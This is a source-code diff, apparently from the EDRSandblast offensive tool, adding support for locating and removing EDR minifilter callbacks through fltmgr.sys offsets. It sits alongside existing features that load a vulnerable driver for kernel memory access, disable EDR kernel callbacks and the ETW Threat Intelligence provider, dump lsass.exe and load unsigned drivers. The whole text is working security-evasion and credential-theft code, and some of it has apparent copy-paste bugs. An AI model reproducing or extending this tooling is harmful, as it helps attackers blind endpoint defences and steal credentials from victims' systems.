cbEntry = ReadMemoryDWORD64(cbEntry)) { cbEntry = ReadMemoryDWORD64(cbEntry)) {
if (FoundObjectCallbacks->index >= 256) {
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
exit(1);
}
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType); DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
if (ObjectTypeField != ObjectType) { if (ObjectTypeField != ObjectType) {
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting...")); _putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
@@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) { if (Enabled) {
_putts_or_not(TEXT("and is enabled!")); _putts_or_not(TEXT("and is enabled!"));
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; struct KRNL_CALLBACK cb;
cb->type = OBJECT_CALLBACK; cb.type = OBJECT_CALLBACK;
cb->driver_name = driverNamePreOperation; cb.driver_name = driverNamePreOperation;
cb->removed = FALSE; cb.removed = FALSE;
cb->callback_func = PreOperation; cb.callback_func = PreOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++; AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE; found |= TRUE;
} }
else { else {
@@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR ")); _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
if (Enabled) { if (Enabled) {
_putts_or_not(TEXT("and is enabled!")); _putts_or_not(TEXT("and is enabled!"));
if (FoundObjectCallbacks->index != 0 && if (FoundObjectCallbacks->size != 0 &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) { FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK &&
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
//skip if last callback function belong to the same callback entry (preoperation) //skip if last callback function belong to the same callback entry (preoperation)
continue; continue;
} }
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index]; struct KRNL_CALLBACK cb;
cb->type = OBJECT_CALLBACK; cb.type = OBJECT_CALLBACK;
cb->driver_name = driverNamePostOperation; cb.driver_name = driverNamePostOperation;
cb->removed = FALSE; cb.removed = FALSE;
cb->callback_func = PostOperation; cb.callback_func = PostOperation;
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled; cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
FoundObjectCallbacks->index++; AddFoundKernelCallback(FoundObjectCallbacks, &cb);
found |= TRUE; found |= TRUE;
} }
else { else {
@@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting...")); _putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
return; return;
} }
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) { for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) {
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i]; struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) { if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name); _tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
+157
View File
@@ -0,0 +1,157 @@
#include <Windows.h>
#include <Shlwapi.h>
#include <stdio.h>
#include <tchar.h>
#include "FileUtils.h"
#include "FileVersion.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "FltmgrOffsets.h"
union FltmgrOffsets g_fltmgrOffsets = { 0 };
BOOL FltmgrOffsetsAreLoaded() {
return g_fltmgrOffsets.ar[0] != 0;
}
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet) {
if (FltmgrOffsetsAreLoaded()) {
//offsets already loaded
return TRUE;
}
// load via CSV first
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
if (LoadFltmgrOffsetsFromFile(fltmgrOffsetFilename)) {
return TRUE;
}
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of fltmgr.sys in use."));
}
// load via internet then
if (canUseInternet) {
_putts_or_not(TEXT("[+] Downloading fltmgr.sys related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
if (LoadFltmgrOffsetsFromInternet(FALSE)) {
#else
if (LoadFltmgrOffsetsFromInternet(TRUE)) {
#endif
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (fltmgrOffsetFilename && FileExists(fltmgrOffsetFilename)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveFltmgrOffsetsToFile(fltmgrOffsetFilename);
}
return TRUE;
}
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
return FALSE;
}
BOOL LoadFltmgrOffsetsFromFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
_tprintf_or_not(TEXT("[*] System's fltmgr.sys file version is: %s\n"), fltmgrVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("r"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!"));
return FALSE;
}
TCHAR lineFltmgrVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineFltmgrVersion, _countof(lineFltmgrVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(fltmgrVersion, lineFltmgrVersion) == 0) {
TCHAR* endptr;
_tprintf_or_not(TEXT("[+] Offsets are available for this version of fltmgr.sys (%s)!\n"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
g_fltmgrOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return FltmgrOffsetsAreLoaded();
}
void SaveFltmgrOffsetsToFile(TCHAR * fltmgrOffsetFilename) {
LPTSTR fltmgrVersion = GetFltmgrVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, fltmgrOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), fltmgrVersion);
for (int i = 0; i < _SUPPORTED_FLTMGR_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_fltmgrOffsets.ar[i]);
}
_fputts(TEXT("\n"), offsetFileStream);
fclose(offsetFileStream);
}
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR fltmgrPath = GetFltmgrPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(fltmgrPath);
if (sym_ctx == NULL) {
return FALSE;
}
g_fltmgrOffsets.st.FltGlobals = GetSymbolOffset(sym_ctx, "FltGlobals");
g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit = GetFieldOffset(sym_ctx, "_DRIVER_OBJECT", L"DriverInit");
g_fltmgrOffsets.st._FLTP_FRAME_Links = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"Links");
g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters = GetFieldOffset(sym_ctx, "_FLTP_FRAME", L"RegisteredFilters");
g_fltmgrOffsets.st._FLT_FILTER_DriverObject = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"DriverObject");
g_fltmgrOffsets.st._FLT_FILTER_InstanceList = GetFieldOffset(sym_ctx, "_FLT_FILTER", L"InstanceList");
g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"CallbackNodes");
g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink = GetFieldOffset(sym_ctx, "_FLT_INSTANCE", L"FilterLink");
g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink = GetFieldOffset(sym_ctx, "_FLT_OBJECT", L"PrimaryLink");
g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList = GetFieldOffset(sym_ctx, "_FLT_RESOURCE_LIST_HEAD", L"rList");
g_fltmgrOffsets.st._GLOBALS_FrameList = GetFieldOffset(sym_ctx, "_GLOBALS", L"FrameList");
UnloadSymbols(sym_ctx, delete_pdb);
return FltmgrOffsetsAreLoaded();
}
TCHAR g_fltmgrPath[MAX_PATH] = { 0 };
LPTSTR GetFltmgrPath() {
if (_tcslen(g_fltmgrPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute fltmgr.sys path.
PathAppend(g_fltmgrPath, systemDirectory);
PathAppend(g_fltmgrPath, TEXT("drivers"));
PathAppend(g_fltmgrPath, TEXT("fltMgr.sys"));
}
return g_fltmgrPath;
}
TCHAR g_fltmgrVersion[256] = { 0 };
LPTSTR GetFltmgrVersion() {
if (_tcslen(g_fltmgrVersion) == 0) {
LPTSTR fltmgrPath = GetFltmgrPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), fltmgrPath);
_stprintf_s(g_fltmgrVersion, 256, TEXT("fltmgr_%s.sys"), versionBuffer);
}
return g_fltmgrVersion;
}
-1
View File
@@ -17,7 +17,6 @@
union WdigestOffsets g_wdigestOffsets = { 0 }; union WdigestOffsets g_wdigestOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) { void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) {
LPTSTR wdigestVersion = GetWdigestVersion(); LPTSTR wdigestVersion = GetWdigestVersion();
_tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); _tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion);
+57 -9
View File
@@ -10,17 +10,21 @@
#include <assert.h> #include <assert.h>
#endif #endif
#include "CiOffsets.h"
#include "CredGuard.h" #include "CredGuard.h"
#include "DriverOps.h" #include "DriverOps.h"
#include "FileUtils.h" #include "FileUtils.h"
#include "FltmgrOffsets.h"
#include "Firewalling.h" #include "Firewalling.h"
#include "ETWThreatIntel.h" #include "ETWThreatIntel.h"
#include "KernelCallbacks.h" #include "KernelCallbacks.h"
#include "KernelDSE.h"
#include "KernelMemoryPrimitives.h" #include "KernelMemoryPrimitives.h"
#include "ProcessDump.h" #include "MinifilterCallbacks.h"
#include "ProcessDumpDirectSyscalls.h"
#include "NtoskrnlOffsets.h" #include "NtoskrnlOffsets.h"
#include "ObjectCallbacks.h" #include "ObjectCallbacks.h"
#include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h"
#include "PEBBrowse.h" #include "PEBBrowse.h"
#include "PrintFunctions.h" #include "PrintFunctions.h"
#include "RunAsPPL.h" #include "RunAsPPL.h"
@@ -28,8 +32,6 @@
#include "Undoc.h" #include "Undoc.h"
#include "UserlandHooks.h" #include "UserlandHooks.h"
#include "WdigestOffsets.h" #include "WdigestOffsets.h"
#include "CiOffsets.h"
#include "KernelDSE.h"
//TODO P1 : implement a "clean" mode that only removes the driver if installed //TODO P1 : implement a "clean" mode that only removes the driver if installed
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting //TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
@@ -91,7 +93,7 @@ int _tmain(int argc, TCHAR** argv) {
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\ const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load_unsigned_driver> \n\
[--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\ [--usermode] [--unhook-method <N>] [--direct-syscalls] [--add-dll <dll name or path>]* \n\
[--kernelmode] [--dont-unload-driver] [--no-restore] \n\ [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
[--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\ [--nt-offsets <NtoskrnlOffsets.csv>] [--fltmgr-offsets <FltmgrOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--ci-offsets <CiOffsets.csv>] [--internet]\n\
[--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\ [--vuln-driver <RTCore64.sys>] [--vuln-service <SERVICE_NAME>] \n\
[--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\ [--unsigned-driver <evil.sys>] [--unsigned-service <SERVICE_NAME>] \n\
[--no-kdp]\n\ [--no-kdp]\n\
@@ -168,6 +170,8 @@ Offset-related options:\n\
\n\ \n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\ --nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\ Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
--fltmgr-offsets <FltmgrOffsets.csv> Path to the CSV file containing the required fltmgr.sys's offsets\n\
Default to 'FltmgrOffsets.csv' in the current directory.\n\
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\ --wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
(only for the 'credguard' mode).\n\ (only for the 'credguard' mode).\n\
Default to 'WdigestOffsets.csv' in the current directory.\n\ Default to 'WdigestOffsets.csv' in the current directory.\n\
@@ -204,6 +208,7 @@ Dump options:\n\
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 }; TCHAR ciOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR fltmgrOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe"); TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 }; TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE; BOOL verbose = FALSE;
@@ -219,6 +224,7 @@ Dump options:\n\
BOOL ETWTIState = FALSE; BOOL ETWTIState = FALSE;
BOOL foundNotifyRoutineCallbacks = FALSE; BOOL foundNotifyRoutineCallbacks = FALSE;
BOOL foundObjectCallbacks = FALSE; BOOL foundObjectCallbacks = FALSE;
BOOL foundMinifilterCallbacks = FALSE;
HOOK* hooks = NULL; HOOK* hooks = NULL;
//TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized) //TODO implement a "force" mode : remove notify routines & object callbacks without checking if it belongs to an EDR (useful as a last resort if a driver is not recognized)
@@ -305,6 +311,14 @@ Dump options:\n\
} }
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i])); _tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
} }
else if (_tcsicmp(argv[i], TEXT("--fltmgr-offsets")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(fltmgrOffsetCSVPath, _countof(fltmgrOffsetCSVPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) { else if (_tcsicmp(argv[i], TEXT("--wdigest-offsets")) == 0) {
i++; i++;
if (i > argc) { if (i > argc) {
@@ -446,8 +460,8 @@ Dump options:\n\
PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName); PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName);
} }
_putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives...")); _putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe..."));
// Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets.
if (FileExists(ntoskrnlOffsetCSVPath)) { if (FileExists(ntoskrnlOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file")); _putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath); LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath);
@@ -483,6 +497,14 @@ Dump options:\n\
PrintNtoskrnlOffsets(); PrintNtoskrnlOffsets();
} }
if (_tcslen(fltmgrOffsetCSVPath) == 0) {
PathAppend(fltmgrOffsetCSVPath, currentFolderPath);
PathAppend(fltmgrOffsetCSVPath, TEXT("FltmgrOffsets.csv"));
}
if (!LoadFltmgrOffsets(fltmgrOffsetCSVPath, internet)) {
return EXIT_FAILURE;
}
// Install the vulnerable driver to have read / write in Kernel memory. // Install the vulnerable driver to have read / write in Kernel memory.
LPTSTR serviceNameIfAny = NULL; LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny); BOOL isDriverAlreadyRunning = IsDriverServiceRunning(driverPath, &serviceNameIfAny);
@@ -518,6 +540,7 @@ Dump options:\n\
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks")); _putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
return EXIT_FAILURE; return EXIT_FAILURE;
} }
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose); foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
if (foundNotifyRoutineCallbacks) { if (foundNotifyRoutineCallbacks) {
isSafeToExecutePayloadKernelland = FALSE; isSafeToExecutePayloadKernelland = FALSE;
@@ -532,6 +555,19 @@ Dump options:\n\
} }
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] Checking if EDR callbacks are registered on I/O events (minifilters)..."));
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\tMinifilter callbacks are %s !\n"), foundMinifilterCallbacks ? TEXT("present") : TEXT("not found"));
if (foundMinifilterCallbacks) {
#if WriteMemoryPrimitiveIsAtomic
isSafeToExecutePayloadKernelland = FALSE;
#else
_putts_or_not(TEXT("WARNING: with the current driver (") DEFAULT_DRIVER_FILE TEXT("), EDRSandblast will not be able to remove these callbacks"));
#endif
}
_putts_or_not(TEXT(""));
_putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state...")); _putts_or_not(TEXT("[+] [ETWTI]\tChecking the ETW Threat Intelligence Provider state..."));
ETWTIState = isETWThreatIntelProviderEnabled(verbose); ETWTIState = isETWThreatIntelProviderEnabled(verbose);
_tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED")); _tprintf_or_not(TEXT("[+] [ETWTI]\tETW Threat Intelligence Provider is %s!\n"), ETWTIState ? TEXT("ENABLED") : TEXT("DISABLED"));
@@ -826,7 +862,13 @@ Dump options:\n\
DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); DisableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
} }
#if WriteMemoryPrimitiveIsAtomic
if (foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Removing minifilter callbacks registered by EDR for monitoring I/O operations..."));
RemoveEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
/* /*
* 2/3 : Starting "resursively" our process. * 2/3 : Starting "resursively" our process.
*/ */
@@ -865,7 +907,13 @@ Dump options:\n\
EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers); EnableEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
_putts_or_not(TEXT("")); _putts_or_not(TEXT(""));
} }
#if WriteMemoryPrimitiveIsAtomic
if (restoreCallbacks == TRUE && foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
RestoreEDRMinifilterCallbacks(foundEDRDrivers);
_putts_or_not(TEXT(""));
}
#endif
// Renable the ETW Threat Intel provider. // Renable the ETW Threat Intel provider.
// TODO : make this conditionnal, just as kernel callbacks restoring ? // TODO : make this conditionnal, just as kernel callbacks restoring ?
if (ETWTIState) { if (ETWTIState) {
+29 -6
View File
@@ -6,8 +6,10 @@
#include "ETWThreatIntel.h" #include "ETWThreatIntel.h"
#include "FileUtils.h" #include "FileUtils.h"
#include "Firewalling.h" #include "Firewalling.h"
#include "FltmgrOffsets.h"
#include "KernelCallbacks.h" #include "KernelCallbacks.h"
#include "KernelMemoryPrimitives.h" #include "KernelMemoryPrimitives.h"
#include "MinifilterCallbacks.h"
#include "PrintFunctions.h" #include "PrintFunctions.h"
#include "ProcessDump.h" #include "ProcessDump.h"
#include "ProcessDumpDirectSyscalls.h" #include "ProcessDumpDirectSyscalls.h"
@@ -221,7 +223,6 @@ EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) { EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status; EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE; BOOL driverInstallRequired = FALSE;
BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config; ctx->config = config;
if (config->actions.ProtectProcess) { if (config->actions.ProtectProcess) {
@@ -232,11 +233,13 @@ EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
if (config->bypassMode.Krnlmode) { if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx); status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) { if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status); _tprintf_or_not(TEXT("[-] Init failed: required ntoskrnl.exe offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status; return status;
} }
else { BOOL success = LoadFltmgrOffsets(ctx->config->fltmgrOffsetFilePath, ctx->config->offsetRetrievalMethod.Internet);
kernelOffsetsLoaded = TRUE; if (!success) {
_tprintf_or_not(TEXT("[-] Init failed: required fltmgr.sys offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
} }
driverInstallRequired = TRUE; driverInstallRequired = TRUE;
@@ -289,6 +292,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
BOOL isSafeToExecutePayload = TRUE; BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks; BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks; BOOL foundObjectsCallbacks;
BOOL foundMinifilterCallbacks;
BOOL isETWTICurrentlyEnabled; BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE; BOOL verbose = ctx ? ctx->config->verbose : FALSE;
@@ -311,7 +315,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->foundNotifyRoutineCallbacks = TRUE; ctx->foundNotifyRoutineCallbacks = TRUE;
} }
if (ctx) { if (ctx) {
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT")); _tprintf_or_not(TEXT("[+] Kernel notify routines have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("not "));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication")); _putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
} }
@@ -321,6 +325,15 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
} }
if (ctx) { if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found")); _tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
_putts_or_not(TEXT("[+] Check if EDR minifilter callbacks are registered for monitoring disk operations"));
}
foundMinifilterCallbacks = EnumEDRMinifilterCallbacks(foundEDRDrivers, verbose);
if (ctx && foundMinifilterCallbacks) {
ctx->foundMinifilterCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] EDR minifilter callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
} }
if (ctx) { if (ctx) {
@@ -343,7 +356,7 @@ EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
ctx->krnlmodeMonitoringEnumDone = TRUE; ctx->krnlmodeMonitoringEnumDone = TRUE;
} }
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) { if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || foundMinifilterCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING; status = EDRSB_KNRL_MONITORING;
} }
else { else {
@@ -380,6 +393,11 @@ EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
} }
if (ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Disabling minifilter callbacks registered by EDR to monitor I/O operations..."));
RemoveEDRMinifilterCallbacks(ctx->foundEDRDrivers);
}
if (ctx->isETWTICurrentlyEnabled) { if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose); DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE; ctx->isETWTICurrentlyEnabled = FALSE;
@@ -405,6 +423,11 @@ EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers); EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
} }
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundMinifilterCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's minifilter callbacks..."));
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
// Renable the ETW Threat Intel provider. // Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) { if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose); EnableETWThreatIntelProvider(ctx->config->verbose);
@@ -17,6 +17,7 @@ typedef struct EDRSB_CONTEXT_t {
